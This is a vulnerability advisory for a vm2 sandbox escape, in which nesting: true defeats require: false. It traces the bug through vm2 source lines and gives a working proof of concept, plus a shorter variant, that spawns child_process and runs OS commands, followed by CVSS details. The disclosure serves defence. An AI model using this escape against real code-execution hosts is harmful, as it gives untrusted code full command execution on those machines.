vm2 NodeVM nesting: true bypasses require: false allowing sandbox escape and arbitrary OS command execution
When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.
The vulnerability is in how the nesting: true option interacts with the legacy module resolver.
lib/nodevm.js:96-99 — NESTING_OVERRIDE is a special builtin map that injects the vm2 package into the sandbox:
```js
const NESTING_OVERRIDE = Object.freeze({
__proto__: null,
vm2: vm2NestingLoader
});
```
lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:
```js
const customResolver = requireOpts instanceof Resolver;
const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(
requireOpts,
nesting && NESTING_OVERRIDE, // ← injected when nesting:true
this._compiler
);
```
lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENY_RESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTING_OVERRIDE:
```js
function makeResolverFromLegacyOptions(options, override, compiler) {
if (!options) {
if (!override) return DENY_RESOLVER; // require:false, no nesting → deny all
// BUG: require:false + nesting:true reaches here
// override (NESTING_OVERRIDE) is applied, making vm2 available
const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);
return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable
}
// ...
}
```
lib/builtin.js:102-106 — NESTING_OVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:
```js
if (overrides) {
const keys = Object.getOwnPropertyNames(overrides);
for (const key of keys) {
res.set(key, overrides[key]); // vm2 always injected when nesting:true
}
}
```
The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches child_process.
This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.
Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).
```js
const { NodeVM } = require('vm2');
// Host intends: nesting enabled, but require completely disabled
const vm = new NodeVM({ nesting: true, require: false });
const result = vm.run(`
// Step 1: require('vm2') succeeds despite require:false on the outer VM
const { NodeVM: NVM } = require('vm2');
// Step 2: create an inner NodeVM with attacker-chosen require config
// This inner VM has no relation to the outer VM's restrictions
const inner = new NVM({ require: { builtin: ['child_process'] } });
// Step 3: execute arbitrary OS command in the inner VM
module.exports = inner.run(
'module.exports = require("child_process").execSync("id").toString()'
);
`);
console.log(result);
// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...
```
Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591):
```
uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)
```
The variant with require: false also works — the outer VM's require setting has no effect:
```js
new NodeVM({ nesting: true, require: false }).run(`
const { NodeVM: NVM } = require('vm2');
module.exports = new NVM({ require: { builtin: ['child_process'] } })
.run('module.exports = require("child_process").execSync("id").toString()');
`);
// uid=1000(akshat) ...
```
Narrow builtin allowlists are also bypassed. require: { builtin: ['path'] } still allows require('vm2') when nesting is enabled.
Who is affected: Any application that runs untrusted or user-supplied code inside a NodeVM with nesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandbox
This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CVE-2026-44007 is classified as CWE-284: Improper Access Control. The software does not restrict an action to the actors that should be allowed to perform it.
CVE-2026-44007 is recorded against 1 package.
Published on 7 May 2026 and last revised on 6 August 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)
www.openwall.com (Web)
vm2 has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-284: Improper Access Control) in other software:
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| vm2 | — | — |
References
Similar Threats
Exploit Protection
CVE-2026-44007 carries CVSS 9.5 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
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